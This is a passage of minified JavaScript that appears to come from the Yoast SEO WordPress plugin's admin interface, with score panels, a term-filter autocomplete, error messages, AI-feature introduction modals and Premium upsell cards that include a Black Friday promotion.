n=tr[e.name].tooltip?Pr:Cr;return(0,t.createElement)("li",{className:Sr},(0,t.createElement)(n,{score:e,idSuffix:r}),e.links.view&&(0,t.createElement)(c.Button,{as:"a",variant:"secondary",size:"small",href:e.links.view,className:"yst-ml-auto"},"View"))},Or=({className:e,scores:r,idSuffix:n})=>(0,t.createElement)("ul",{className:e},r.map((e=>(0,t.createElement)(Nr,{key:e.name,score:e,idSuffix:n})))),Tr="yst-flex yst-flex-col @md:yst-flex-row yst-gap-12 yst-mt-6",Lr="yst-grow",Ir="yst-w-[calc(11.5rem+3px)] yst-aspect-square",Mr=()=>(0,t.createElement)(t.Fragment,null,(0,t.createElement)(c.SkeletonLoader,{className:"yst-w-full"}," "),(0,t.createElement)("div",{className:Tr},(0,t.createElement)(Rr,{className:Lr}),(0,t.createElement)(Er,{className:Ir}))),Ar=({scores:e=[],isLoading:r,descriptions:n,idSuffix:a})=>r?(0,t.createElement)(Mr,null):(0,t.createElement)(t.Fragment,null,(0,t.createElement)(or,{scores:e,descriptions:n}),(0,t.createElement)("div",{className:Tr},e&&(0,t.createElement)(Or,{className:Lr,scores:e,idSuffix:a}),e&&(0,t.createElement)(xr,{className:Ir,scores:e}))),Dr=(e,t)=>{const r=new URL(e);return r.searchParams.set("search",t),r.searchParams.set("_fields",["id","name"]),r},Fr=e=>({name:String(e.id),label:(0,u.unescape)(e.name)}),jr=({terms:e})=>0===e.length?(0,t.createElement)("div",{className:"yst-autocomplete__option"},(0,Ht.__)("Nothing found","wordpress-seo")):e.map((({name:e,label:r})=>(0,t.createElement)(c.AutocompleteField.Option,{key:e,value:e},r))),zr=({idSuffix:e,taxonomy:r,selected:n,onChange:a})=>{const[s,o]=(0,l.useState)(""),{data:i=[],error:u,isPending:d}=er({dependencies:[r.links.search,s],url:Dr(r.links.search,s),options:{headers:{"Content-Type":"application/json"}},prepareData:e=>e.map(Fr)}),p=(0,l.useCallback)((e=>{null===e&&o(""),a(i.find((({name:t})=>t===e)))}),[i]),m=(0,l.useCallback)((e=>{var t,r,n;o((null==e||null===(t=e.target)||void 0===t||null===(r=t.value)||void 0===r||null===(n=r.trim())||void 0===n?void 0:n.toLowerCase())||"")}),[]);return(0,t.createElement)(c.AutocompleteField,{id:`term--${e}`,label:r.label,value:(null==n?void 0:n.name)||"",selectedLabel:(null==n?void 0:n.label)||s,onChange:p,onQueryChange:m,placeholder:(0,Ht.__)("All","wordpress-seo"),nullable:!0,clearButtonScreenReaderText:(0,Ht.__)("Clear filter","wordpress-seo"),validation:u&&{variant:"error",message:(0,Ht.__)("Something went wrong.","wordpress-seo")}},d&&(0,t.createElement)("div",{className:"yst-autocomplete__option"},(0,t.createElement)(c.Spinner,null)),!d&&(0,t.createElement)(jr,{terms:i}))},Ur=(e,t,r)=>{var n;const a=new URL(e);return a.searchParams.set("contentType",t.name),null!==(n=t.taxonomy)&&void 0!==n&&n.name&&null!=r&&r.name&&(a.searchParams.set("taxonomy",t.taxonomy.name),a.searchParams.set("term",r.name)),a},$r=(0,t.createElement)(c.Link,{variant:"error",href:"admin.php?page=wpseo_page_support"}," "),qr=(0,l.createInterpolateElement)((0,Ht.sprintf)(/* translators: %1$s and %2$s expand to an opening/closing tag for a link to the support page. */
(0,Ht.__)("A timeout occurred, possibly due to a large number of posts or terms. In case you need further help, please take a look at our %1$sSupport page%2$s.","wordpress-seo"),"<supportLink>","</supportLink>"),{supportLink:$r}),Br=(0,l.createInterpolateElement)((0,Ht.sprintf)(/* translators: %1$s and %2$s expand to an opening/closing tag for a link to the support page. */
(0,Ht.__)("Something went wrong. In case you need further help, please take a look at our %1$sSupport page%2$s.","wordpress-seo"),"<supportLink>","</supportLink>"),{supportLink:$r}),Hr=({error:e})=>e?(0,t.createElement)(c.Alert,{variant:"error"},"TimeoutError"===(null==e?void 0:e.name)?qr:Br):null,Vr=({analysisType:e,contentTypes:r,endpoint:n,headers:a})=>{var s,o;const[i,u]=(0,l.useState)(r[0]),[d,p]=(0,l.useState)(),{data:m,error:f,isPending:y}=er({dependencies:[i.name,null==i?void 0:i.taxonomy,null==d?void 0:d.name],url:Ur(n,i,d),options:{headers:{"Content-Type":"application/json",...a}},fetchDelay:0,prepareData:e=>null==e?void 0:e.scores});return(0,l.useEffect)((()=>{p(void 0)}),[i.name]),(0,t.createElement)(c.Paper,{className:"yst-@container yst-grow yst-max-w-screen-sm yst-p-8 yst-shadow-md"},(0,t.createElement)(c.Title,{as:"h2"},"readability"===e?(0,Ht.__)("Readability scores","wordpress-seo"):(0,Ht.__)("SEO scores","wordpress-seo")),(0,t.createElement)("div",{className:"yst-grid yst-grid-cols-1 @md:yst-grid-cols-2 yst-gap-6 yst-mt-4"},(0,t.createElement)(sr,{idSuffix:e,contentTypes:r,selected:i,onChange:u}),i.taxonomy&&(null===(s=i.taxonomy)||void 0===s||null===(o=s.links)||void 0===o?void 0:o.search)&&(0,t.createElement)(zr,{idSuffix:e,taxonomy:i.taxonomy,selected:d,onChange:p})),(0,t.createElement)("div",{className:"yst-mt-6"},(0,t.createElement)(Hr,{error:f}),!f&&(0,t.createElement)(Ar,{scores:m,isLoading:y,descriptions:rr[e],idSuffix:e})))};var Zr=r(5890),Wr=r.n(Zr);const Gr=({link:e})=>{const r=(0,l.useMemo)((()=>(0,l.createInterpolateElement)((0,Ht.sprintf)(/* translators: %1$s expands to "Yoast SEO" academy, which is a clickable link. */
(0,Ht.__)("Want to learn SEO from Team Yoast? Check out our %1$s!","wordpress-seo"),"<link/>"),{link:(0,t.createElement)("a",{href:e,target:"_blank",rel:"noopener"},"Yoast SEO academy")})),[]);return(0,t.createElement)(c.Paper,{as:"div",className:"yst-p-6 yst-space-y-3"},(0,t.createElement)(c.Title,{as:"h2",size:"4",className:"yst-text-base yst-text-primary-500"},(0,Ht.__)("Learn SEO","wordpress-seo")),(0,t.createElement)("p",null,r,(0,t.createElement)("br",null),(0,Ht.__)("We have both free and premium online courses to learn everything you need to know about SEO.","wordpress-seo")),(0,t.createElement)(c.Link,{href:e,className:"yst-block",target:"_blank",rel:"noopener"},(0,Ht.sprintf)(/* translators: %1$s expands to "Yoast SEO academy". */
(0,Ht.__)("Check out %1$s","wordpress-seo"),"Yoast SEO academy")))};Gr.propTypes={link:Wr().string.isRequired};const Yr=t.forwardRef((function(e,r){return t.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",strokeWidth:2,stroke:"currentColor","aria-hidden":"true",ref:r},e),t.createElement("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8 11V7a4 4 0 118 0m-4 8v2m-6 4h12a2 2 0 002-2v-6a2 2 0 00-2-2H6a2 2 0 00-2 2v6a2 2 0 002 2z"}))})),Kr=t.forwardRef((function(e,r){return t.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 20 20",fill:"currentColor","aria-hidden":"true",ref:r},e),t.createElement("path",{fillRule:"evenodd",d:"M12.293 5.293a1 1 0 011.414 0l4 4a1 1 0 010 1.414l-4 4a1 1 0 01-1.414-1.414L14.586 11H3a1 1 0 110-2h11.586l-2.293-2.293a1 1 0 010-1.414z",clipRule:"evenodd"}))})),Jr=({learnMoreLink:e,thumbnail:r,wistiaEmbedPermission:n,upsellLink:a,isProductCopy:s,title:o,upsellLabel:i,newToText:u,bundleNote:d})=>{const{onClose:p,initialFocus:m}=(0,c.useModalContext)(),f={a:(0,t.createElement)(on,{href:e,className:"yst-inline-flex yst-items-center yst-gap-1 yst-no-underline yst-font-medium",variant:"primary"}),ArrowNarrowRightIcon:(0,t.createElement)(Kr,{className:"yst-w-4 yst-h-4 rtl:yst-rotate-180"})};return(0,t.createElement)(t.Fragment,null,(0,t.createElement)("div",{className:"yst-px-10 yst-pt-10 yst-introduction-gradient yst-text-center"},(0,t.createElement)("div",{className:"yst-relative yst-w-full"},(0,t.createElement)(Mn,{videoId:"vmrahpfjxp",thumbnail:r,wistiaEmbedPermission:n}),(0,t.createElement)(c.Badge,{className:"yst-absolute yst-top-0 yst-right-2 yst-mt-2 yst-ml-2",variant:"info"},"Beta")),(0,t.createElement)("div",{className:"yst-mt-6 yst-text-xs yst-font-medium yst-flex yst-flex-col yst-items-center"},(0,t.createElement)("span",{className:"yst-introduction-modal-uppercase yst-flex yst-gap-2 yst-items-center"},(0,t.createElement)("span",{className:"yst-logo-icon"}),u))),(0,t.createElement)("div",{className:"yst-px-10 yst-pb-4 yst-flex yst-flex-col yst-items-center"},(0,t.createElement)("div",{className:"yst-mt-4 yst-mx-1.5 yst-text-center"},(0,t.createElement)("h3",{className:"yst-text-slate-900 yst-text-lg yst-font-medium"},o),(0,t.createElement)("div",{className:"yst-mt-2 yst-text-slate-600 yst-text-sm"},s?(0,l.createInterpolateElement)((0,Ht.sprintf)(/* translators: %1$s and %2$s are anchor tags; %3$s is the arrow icon. */
(0,Ht.__)("Let AI do some of the thinking for you and help you save time. Get high-quality suggestions for product titles and meta descriptions to make your content rank high and look good on social media. %1$sLearn more%2$s%3$s","wordpress-seo"),"<a>","<ArrowNarrowRightIcon />","</a>"),f):(0,l.createInterpolateElement)((0,Ht.sprintf)(/* translators: %1$s and %2$s are anchor tags; %3$s is the arrow icon. */
(0,Ht.__)("Let AI do some of the thinking for you and help you save time. Get high-quality suggestions for titles and meta descriptions to make your content rank high and look good on social media. %1$sLearn more%2$s%3$s","wordpress-seo"),"<a>","<ArrowNarrowRightIcon />","</a>"),f))),(0,t.createElement)("div",{className:"yst-w-full yst-flex yst-mt-10"},(0,t.createElement)(c.Button,{as:"a",className:"yst-grow",size:"extra-large",variant:"upsell",href:a,target:"_blank",ref:m},(0,t.createElement)(Yr,{className:"yst--ml-1 yst-mr-2 yst-h-5 yst-w-5"}),i,(0,t.createElement)("span",{className:"yst-sr-only"},/* translators: Hidden accessibility text. */
(0,Ht.__)("(Opens in a new browser tab)","wordpress-seo")))),d,(0,t.createElement)(c.Button,{as:"a",className:"yst-mt-4",variant:"tertiary",onClick:p},(0,Ht.__)("Close","wordpress-seo"))))};Jr.propTypes={learnMoreLink:Wr().string.isRequired,upsellLink:Wr().string.isRequired,thumbnail:Wr().shape({src:Wr().string.isRequired,width:Wr().string,height:Wr().string}).isRequired,wistiaEmbedPermission:Wr().shape({value:Wr().bool.isRequired,status:Wr().string.isRequired,set:Wr().func.isRequired}).isRequired,title:Wr().string,upsellLabel:Wr().string,newToText:Wr().string,isProductCopy:Wr().bool,bundleNote:Wr().oneOfType([Wr().string,Wr().element])},Jr.defaultProps={title:(0,Ht.__)("Use AI to write your titles & meta descriptions!","wordpress-seo"),upsellLabel:(0,Ht.sprintf)(/* translators: %1$s expands to Yoast SEO Premium. */
(0,Ht.__)("Unlock with %1$s","wordpress-seo"),"Yoast SEO Premium"),newToText:"Yoast SEO Premium",isProductCopy:!1,bundleNote:""};const Qr=({learnMoreLink:e,thumbnail:r,wistiaEmbedPermission:n,upsellLink:a,upsellLabel:s})=>{const{onClose:o,initialFocus:i}=(0,c.useModalContext)(),u={a:(0,t.createElement)(on,{href:e,className:"yst-inline-flex yst-items-center yst-gap-1 yst-no-underline yst-font-medium",variant:"primary"}),ArrowNarrowRightIcon:(0,t.createElement)(Kr,{className:"yst-w-4 yst-h-4 rtl:yst-rotate-180"}),br:(0,t.createElement)("br",null)};return(0,t.createElement)(t.Fragment,null,(0,t.createElement)("div",{className:"yst-px-10 yst-pt-10 yst-introduction-gradient yst-text-center"},(0,t.createElement)("div",{className:"yst-relative yst-w-full"},(0,t.createElement)(Mn,{videoId:"vun9z1dpfh",thumbnail:r,wistiaEmbedPermission:n}),(0,t.createElement)(c.Badge,{className:"yst-absolute yst-right-0 yst-mr-4 yst-text-center yst-justify-center",variant:"info",style:{top:"-8px"}},(0,Ht.__)("Beta","wordpress-seo-premium"))),(0,t.createElement)("div",{className:"yst-mt-6 yst-text-xs yst-font-medium yst-flex yst-flex-col yst-items-center"},(0,t.createElement)("span",{className:"yst-introduction-modal-uppercase yst-flex yst-gap-2 yst-items-center"},(0,t.createElement)("span",{className:"yst-logo-icon"}),"Yoast SEO Premium"))),(0,t.createElement)("div",{className:"yst-px-10 yst-pb-4 yst-flex yst-flex-col yst-items-center"},(0,t.createElement)("div",{className:"yst-mt-4 yst-mx-1.5 yst-text-center"},(0,t.createElement)("h3",{className:"yst-text-slate-900 yst-text-lg yst-font-medium"},(0,Ht.sprintf)(/* translators: %s: Expands to "Yoast AI" */
(0,Ht.__)("Optimize your SEO content with %s","wordpress-seo"),"Yoast AI")),(0,t.createElement)("div",{className:"yst-mt-2 yst-text-slate-600 yst-text-sm"},(0,l.createInterpolateElement)((0,Ht.sprintf)(/* translators: %1$s is a break tag; %2$s and %3$s are anchor tags; %4$s is the arrow icon. */
(0,Ht.__)("Make content editing a breeze! Optimize your SEO content with quick, actionable suggestions at the click of a button.%1$s%2$sLearn more%3$s%4$s","wordpress-seo"),"<br/>","<a>","<ArrowNarrowRightIcon />","</a>"),u))),(0,t.createElement)("div",{className:"yst-w-full yst-flex yst-mt-6"},(0,t.createElement)(c.Button,{as:"a",className:"yst-grow",size:"extra-large",variant:"upsell",href:a,target:"_blank",ref:i},(0,t.createElement)(Yr,{className:"yst--ml-1 yst-mr-2 yst-h-5 yst-w-5"}),s,(0,t.createElement)("span",{className:"yst-sr-only"},/* translators: Hidden accessibility text. */
(0,Ht.__)("(Opens in a new browser tab)","wordpress-seo")))),(0,t.createElement)(c.Button,{as:"a",className:"yst-mt-4",variant:"tertiary",onClick:o},(0,Ht.__)("Close","wordpress-seo"))))};Qr.propTypes={learnMoreLink:Wr().string.isRequired,upsellLink:Wr().string.isRequired,thumbnail:Wr().shape({src:Wr().string.isRequired,width:Wr().string,height:Wr().string}).isRequired,wistiaEmbedPermission:Wr().shape({value:Wr().bool.isRequired,status:Wr().string.isRequired,set:Wr().func.isRequired}).isRequired,upsellLabel:Wr().string},Qr.defaultProps={upsellLabel:(0,Ht.sprintf)(/* translators: %1$s expands to Yoast SEO Premium. */
(0,Ht.__)("Unlock with %1$s","wordpress-seo"),"Yoast SEO Premium")};const Xr=({handleRefreshClick:e,supportLink:r})=>(0,t.createElement)("div",{className:"yst-flex yst-gap-2"},(0,t.createElement)(c.Button,{onClick:e},(0,Ht.__)("Refresh this page","wordpress-seo")),(0,t.createElement)(c.Button,{variant:"secondary",as:"a",href:r,target:"_blank",rel:"noopener"},(0,Ht.__)("Contact support","wordpress-seo")));Xr.propTypes={handleRefreshClick:Wr().func.isRequired,supportLink:Wr().string.isRequired};const en=({handleRefreshClick:e,supportLink:r})=>(0,t.createElement)("div",{className:"yst-grid yst-grid-cols-1 yst-gap-y-2"},(0,t.createElement)(c.Button,{className:"yst-order-last",onClick:e},(0,Ht.__)("Refresh this page","wordpress-seo")),(0,t.createElement)(c.Button,{variant:"secondary",as:"a",href:r,target:"_blank",rel:"noopener"},(0,Ht.__)("Contact support","wordpress-seo")));en.propTypes={handleRefreshClick:Wr().func.isRequired,supportLink:Wr().string.isRequired};const tn=({error:e,children:r})=>(0,t.createElement)("div",{role:"alert",className:"yst-max-w-screen-sm yst-p-8 yst-space-y-4"},(0,t.createElement)(c.Title,null,(0,Ht.__)("Something went wrong. An unexpected error occurred.","wordpress-seo")),(0,t.createElement)("p",null,(0,Ht.__)("We're very sorry, but it seems like the following error has interrupted our application:","wordpress-seo")),(0,t.createElement)(c.Alert,{variant:"error"},(null==e?void 0:e.message)||(0,Ht.__)("Undefined error message.","wordpress-seo")),(0,t.createElement)("p",null,(0,Ht.__)("Unfortunately, this means that any unsaved changes in this section will be lost. You can try and refresh this page to resolve the problem. If this error still occurs, please get in touch with our support team, and we'll get you all the help you need!","wordpress-seo")),r);tn.propTypes={error:Wr().object.isRequired,children:Wr().node},tn.VerticalButtons=en,tn.HorizontalButtons=Xr;var rn;function nn(){return nn=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var r=arguments[t];for(var n in r)Object.prototype.hasOwnProperty.call(r,n)&&(e[n]=r[n])}return e},nn.apply(this,arguments)}Wr().string,Wr().node.isRequired,Wr().node.isRequired,Wr().node,Wr().oneOf(Object.keys({lg:{grid:"yst-grid lg:yst-grid-cols-3 lg:yst-gap-12",col1:"yst-col-span-1",col2:"lg:yst-mt-0 lg:yst-col-span-2"},xl:{grid:"yst-grid xl:yst-grid-cols-3 xl:yst-gap-12",col1:"yst-col-span-1",col2:"xl:yst-mt-0 xl:yst-col-span-2"},"2xl":{grid:"yst-grid 2xl:yst-grid-cols-3 2xl:yst-gap-12",col1:"yst-col-span-1",col2:"2xl:yst-mt-0 2xl:yst-col-span-2"}}));const an=e=>t.createElement("svg",nn({xmlns:"http://www.w3.org/2000/svg","aria-hidden":"true",viewBox:"0 0 1000 1000"},e),rn||(rn=t.createElement("path",{fill:"#fff",d:"M500 0C223.9 0 0 223.9 0 500s223.9 500 500 500 500-223.9 500-500S776.1 0 500 0Zm87.2 412.4c0-21.9 4.3-40.2 13.1-54.4s24-27.1 45.9-38.2l10.1-4.9c17.8-9 22.4-16.7 22.4-26 0-11.1-9.5-19.1-25-19.1-18.3 0-32.2 9.5-41.8 28.9l-24.7-24.8c5.4-11.6 14.1-20.9 25.8-28.1a70.8 70.8 0 0 1 38.9-11.1c17.8 0 33.3 4.6 45.9 14.2s19.4 22.7 19.4 39.4c0 26.6-15 42.9-43.1 57.3l-15.7 8c-16.8 8.5-25.1 16-27.4 29.4h85.4v35.4H587.2Zm-82.1 373.3c-157.8 0-285.7-127.9-285.7-285.7s127.9-285.7 285.7-285.7a286.4 286.4 0 0 1 55.9 5.5l-55.9 116.9c-90 0-163.3 73.3-163.3 163.3s73.3 163.3 163.3 163.3a162.8 162.8 0 0 0 106.4-39.6l61.8 107.2a283.9 283.9 0 0 1-168.2 54.8ZM705 704.1l-70.7-122.5H492.9l70.7-122.4H705l70.7 122.4Z"}))),sn=({to:e,idSuffix:r="",...n})=>{const a=(0,l.useMemo)((()=>(0,u.replace)((0,u.replace)(`link-${e}`,"/","-"),"--","-")),[e]);return(0,t.createElement)(c.SidebarNavigation.SubmenuItem,{as:$t,pathProp:"to",id:`${a}${r}`,to:e,...n})};sn.propTypes={to:Wr().string.isRequired,idSuffix:Wr().string};const on=({href:e,children:r,...n})=>(0,t.createElement)(c.Link,{target:"_blank",rel:"noopener noreferrer",...n,href:e},r,(0,t.createElement)("span",{className:"yst-sr-only"},/* translators: Hidden accessibility text. */
(0,Ht.__)("(Opens in a new browser tab)","wordpress-seo")));on.propTypes={href:Wr().string.isRequired,children:Wr().node},on.defaultProps={children:null};const ln=t.forwardRef((function(e,r){return t.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",strokeWidth:2,stroke:"currentColor","aria-hidden":"true",ref:r},e),t.createElement("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M17 8l4 4m0 0l-4 4m4-4H3"}))}));var cn,un,dn;function pn(){return pn=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var r=arguments[t];for(var n in r)Object.prototype.hasOwnProperty.call(r,n)&&(e[n]=r[n])}return e},pn.apply(this,arguments)}const mn=e=>t.createElement("svg",pn({xmlns:"http://www.w3.org/2000/svg",id:"star-rating-half_svg__Layer_1","data-name":"Layer 1",viewBox:"0 0 500 475.53"},e),cn||(cn=t.createElement("defs",null,t.createElement("style",null,".star-rating-half_svg__cls-1{fill:#fbbf24}"))),un||(un=t.createElement("path",{d:"M250 392.04 98.15 471.87l29-169.09L4.3 183.03l169.77-24.67L250 4.52l75.93 153.84 169.77 24.67-122.85 119.75 29 169.09L250 392.04z",className:"star-rating-half_svg__cls-1"})),dn||(dn=t.createElement("path",{d:"m250 9.04 73.67 149.27.93 1.88 2.08.3 164.72 23.94-119.19 116.19-1.51 1.47.36 2.07 28.14 164.06-147.34-77.46-1.86-1-1.86 1-147.34 77.46 28.14-164.06.36-2.07-1.51-1.47L8.6 184.43l164.72-23.9 2.08-.3.93-1.88L250 9.04m0-9-77.25 156.49L0 181.64l125 121.89-29.51 172L250 394.3l154.51 81.23-29.51-172 125-121.89-172.75-25.11L250 0Z",className:"star-rating-half_svg__cls-1"})),t.createElement("path",{d:"m500 181.64-172.75-25.11L250 0v394.3l154.51 81.23L375 303.48l125-121.84z",style:{fill:"#f3f4f6"}}));function fn(){return fn=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var r=arguments[t];for(var n in r)Object.prototype.hasOwnProperty.call(r,n)&&(e[n]=r[n])}return e},fn.apply(this,arguments)}const yn=e=>t.createElement("svg",fn({xmlns:"http://www.w3.org/2000/svg","data-name":"Layer 1",viewBox:"0 0 500 475.53"},e),t.createElement("path",{d:"m250 0 77.25 156.53L500 181.64 375 303.48l29.51 172.05L250 394.3 95.49 475.53 125 303.48 0 181.64l172.75-25.11L250 0z",style:{fill:"#fbbf24"}}));var hn,gn,vn,bn,wn,En,xn,Sn,kn;function Rn(){return Rn=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var r=arguments[t];for(var n in r)Object.prototype.hasOwnProperty.call(r,n)&&(e[n]=r[n])}return e},Rn.apply(this,arguments)}const Cn=e=>t.createElement("svg",Rn({xmlns:"http://www.w3.org/2000/svg","aria-hidden":"true",viewBox:"0 0 500 500"},e),hn||(hn=t.createElement("path",{fill:"#a4286a",d:"M80 0h340a80 80 0 0 1 80 80v420H80a80 80 0 0 1-80-80V80A80 80 0 0 1 80 0z"})),gn||(gn=t.createElement("path",{fill:"#6c2548",d:"M437.61 2 155.89 500H500V80a80 80 0 0 0-62.39-78z"})),vn||(vn=t.createElement("path",{fill:"#fff",d:"M74.4 337.3v34.9c21.6-.9 38.5-8 52.8-22.5s27.4-38 39.9-72.9l92.6-248h-44.8L140.3 236l-37-116.2h-41l54.4 139.8a57.54 57.54 0 0 1 0 41.8c-5.5 14.2-15.4 30.9-42.3 35.9z"})),bn||(bn=t.createElement("circle",{cx:368.33,cy:124.68,r:97.34,fill:"#9fda4f",transform:"rotate(-45 368.335 124.68)"})),wn||(wn=t.createElement("path",{fill:"#77b227",d:"m416.2 39.93-95.74 169.51A97.34 97.34 0 1 0 416.2 39.93z"})),En||(En=t.createElement("path",{fill:"#fec228",d:"m294.78 254.75-.15-.08-.13-.07a63.6 63.6 0 0 0-62.56 110.76h.13a63.6 63.6 0 0 0 62.71-110.67z"})),xn||(xn=t.createElement("path",{fill:"#f49a00",d:"m294.5 254.59-62.56 110.76a63.6 63.6 0 1 0 62.56-110.76z"})),Sn||(Sn=t.createElement("path",{fill:"#ff4e47",d:"M222.31 450.07A38.16 38.16 0 0 0 203 416.83a38.18 38.18 0 1 0 19.41 33.27z"})),kn||(kn=t.createElement("path",{fill:"#ed261f",d:"m202.9 416.8-37.54 66.48a38.17 38.17 0 0 0 37.54-66.48z"}))),Pn=({link:e,linkProps:r,isPromotionActive:n})=>{let a=(0,l.useMemo)((()=>(0,Ht.__)("Use AI to generate titles and meta descriptions, automatically redirect deleted pages, get 24/7 support, and much, much more!","wordpress-seo")),[]),s=(0,l.createInterpolateElement)((0,Ht.sprintf)(/* translators: %1$s and %2$s expand to a span wrap to avoid linebreaks. %3$s expands to "Yoast SEO Premium". */
(0,Ht.__)("%1$sGet%2$s %3$s","wordpress-seo"),"<nowrap>","</nowrap>","Yoast SEO Premium"),{nowrap:(0,t.createElement)("span",{className:"yst-whitespace-nowrap"})});const o=n("black-friday-2024-promotion");return o&&(a=(0,l.useMemo)((()=>(0,Ht.__)("If you were thinking about upgrading, now's the time! 30% OFF ends 3rd Dec 11am (CET)","wordpress-seo")),[]),s=(0,l.createInterpolateElement)((0,Ht.sprintf)(/* translators: %1$s and %2$s expand to a span wrap to avoid linebreaks. %3$s expands to "Yoast SEO Premium". */
(0,Ht.__)("%1$sBuy%2$s %3$s","wordpress-seo"),"<nowrap>","</nowrap>","Yoast SEO Premium"),{nowrap:(0,t.createElement)("span",{className:"yst-whitespace-nowrap"})})),(0,t.createElement)("div",{className:"yst-p-6 yst-rounded-lg yst-text-white yst-bg-primary-500 yst-shadow"},(0,t.createElement)("figure",{className:"yst-logo-square yst-w-16 yst-h-16 yst-mx-auto yst-overflow-hidden yst-border yst-border-white yst-rounded-xl yst-rounded-br-none yst-relative yst-z-10 yst-mt-[-2.6rem]"},(0,t.createElement)(Cn,null)),o&&(0,t.createElement)("div",{className:"sidebar__sale_banner_container"},(0,t.createElement)("div",{className:"sidebar__sale_banner"},(0,t.createElement)("span",{className:"banner_text"},(0,Ht.__)("30% OFF - BLACK FRIDAY","wordpress-seo")))),(0,t.createElement)(c.Title,{as:"h2",className:"yst-mt-6 yst-text-base yst-font-extrabold yst-text-white"},s),(0,t.createElement)("p",{className:"yst-mt-2"},a),(0,t.createElement)(c.Button,{as:"a",variant:"upsell",href:e,target:"_blank",rel:"noopener",className:"yst-flex yst-justify-center yst-gap-2 yst-mt-4 focus:yst-ring-offset-primary-500",...r},(0,t.createElement)("span",null,o?(0,Ht.__)("Buy now","wordpress-seo"):s),(0,t.createElement)(ln,{className:"yst-w-4 yst-h-4 yst-icon-rtl"})),(0,t.createElement)("p",{className:"yst-text-center yst-text-xs yst-mx-2 yst-font-light yst-leading-5 yst-mt-2"},!o&&(0,t.createElement)(t.Fragment,null,(0,Ht.__)("Only $/€/£99 per year (ex VAT)","wordpress-seo"),(0,t.createElement)("br",null)),(0,Ht.__)("30-day money back guarantee.","wordpress-seo")),(0,t.createElement)("hr",{className:"yst-border-t yst-border-primary-300 yst-my-4"}),(0,t.createElement)("a",{className:"yst-block yst-mt-4 yst-no-underline",href:"https://www.g2.com/products/yoast-yoast/reviews",target:"_blank",rel:"noopener noreferrer"},(0,t.createElement)("span",{className:"yst-font-medium yst-text-white hover:yst-underline"},(0,Ht.__)("Read reviews from real users","wordpress-seo")),(0,t.createElement)("span",{className:"yst-flex yst-gap-2 yst-mt-2 yst-items-center"},(0,t.createElement)(an,{className:"yst-w-5 yst-h-5"}),(0,t.createElement)("span",{className:"yst-flex yst-gap-1"},(0,t.createElement)(yn,{className:"yst-w-5 yst-h-5"}),(0,t.createElement)(yn,{className:"yst-w-5 yst-h-5"}),(0,t.createElement)(yn,{className:"yst-w-5 yst-h-5"}),(0,t.createElement)(yn,{className:"yst-w-5 yst-h-5"}),(0,t.createElement)(mn,{className:"yst-w-5 yst-h-5"})),(0,t.createElement)("span",{className:"yst-text-sm yst-font-semibold yst-text-white"},"4.6 / 5"))))};Pn.propTypes={link:Wr().string.isRequired,linkProps:Wr().object,isPromotionActive:Wr().func},Pn.defaultProps={linkProps:{},isPromotionActive:u.noop};const Nn=({premiumLink:e,premiumUpsellConfig:r,isPromotionActive:n})=>{const a=n("black-friday-2024-promotion");return(0,t.createElement)(c.Paper,{as:"div",className:"xl:yst-max-w-3xl"},a&&(0,t.createElement)("div",{className:"yst-rounded-t-lg yst-h-9 yst-flex yst-justify-between yst-items-center yst-bg-black yst-text-amber-300 yst-px-4 yst-text-lg yst-border-b yst-border-amber-300 yst-border-solid yst-font-semibold"},(0,t.createElement)("div",null,(0,Ht.__)("30% OFF","wordpress-seo")),(0,t.createElement)("div",null,(0,Ht.__)("BLACK FRIDAY","wordpress-seo"))),(0,t.createElement)("div",{className:"yst-p-6 yst-flex yst-flex-col"},(0,t.createElement)(c.Title,{as:"h2",size:"4",className:"yst-text-xl yst-text-primary-500"},(0,Ht.sprintf)(/* translators: %s expands to "Yoast SEO" Premium */
(0,Ht.__)("Upgrade to %s","wordpress-seo"),"Yoast SEO Premium")),(0,t.createElement)("ul",{className:"yst-grid yst-grid-cols-1 sm:yst-grid-cols-2 yst-gap-x-6 yst-list-disc yst-pl-[1em] yst-list-outside yst-text-slate-800 yst-mt-6"},[(0,Ht.sprintf)(/* translators: %1$s expands to a strong opening tag, %2$s expands to a strong closing tag. */
(0,Ht.__)("%1$sAI%2$s: Better SEO titles and meta descriptions, faster.","wordpress-seo"),"<strong>","</strong>"),(0,Ht.sprintf)(/* translators: %1$s expands to a strong opening tag, %2$s expands to a strong closing tag. */
(0,Ht.__)("%1$sMultiple keywords%2$s: Rank higher for more searches.","wordpress-seo"),"<strong>","</strong>"),(0,Ht.sprintf)(/* translators: %1$s expands to a strong opening tag, %2$s expands to a strong closing tag. */
(0,Ht.__)("%1$sSuper fast%2$s internal linking suggestions.","wordpress-seo"),"<strong>","</strong>"),(0,Ht.sprintf)(/* translators: %1$s expands to a strong opening tag, %2$s expands to a strong closing tag. */
(0,Ht.__)("%1$sNo more broken links%2$s: Automatic redirect manager.","wordpress-seo"),"<strong>","</strong>"),(0,Ht.sprintf)(/* translators: %1$s expands to a strong opening tag, %2$s expands to a strong closing tag. */
(0,Ht.__)("%1$sAppealing social previews%2$s people actually want to click on.","wordpress-seo"),"<strong>","</strong>"),(0,Ht.sprintf)(/* translators: %1$s expands to a strong opening tag, %2$s expands to a strong closing tag. */
(0,Ht.__)("%1$s24/7 support%2$s: Also on evenings and weekends.","wordpress-seo"),"<strong>","</strong>")].map(((e,r)=>(0,t.createElement)("li",{key:`upsell-benefit-${r}`},(0,l.createInterpolateElement)(e,{strong:(0,t.createElement)("span",{className:"yst-font-semibold"})}))))),(0,t.createElement)(c.Button,{as:"a",variant:"upsell",size:"extra-large",href:e,className:"yst-gap-2 yst-mt-4",target:"_blank",rel:"noopener",...r},a?(0,Ht.__)("Claim your 30% off now!","wordpress-seo"):(0,Ht.sprintf)(/* translators: %s expands to "Yoast SEO" Premium */
